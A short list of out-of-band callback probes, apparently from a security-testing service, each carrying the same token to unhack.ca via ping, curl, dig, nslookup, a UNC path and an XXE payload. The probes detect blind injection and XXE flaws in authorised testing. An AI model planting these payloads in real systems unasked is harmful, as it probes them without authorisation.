$ ping -c1 -p 00b0355849003115f13b324d3a0c3000 unhack.ca
 

$ curl http://unhack.ca/p/b0355849003115f13b324d3a0c30
 

$ dig b0355849003115f13b324d3a0c30 @unhack.ca
 

$ dig b0355849003115f13b324d3a0c30.ns.unhack.ca
 

C:\> nslookup b0355849003115f13b324d3a0c30 unhack.ca
 

C:\> type \\unhack.ca\b0355849003115f13b324d3a0c30\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b0355849003115f13b324d3a0c30">]>
    <foo>&xxe;</foo>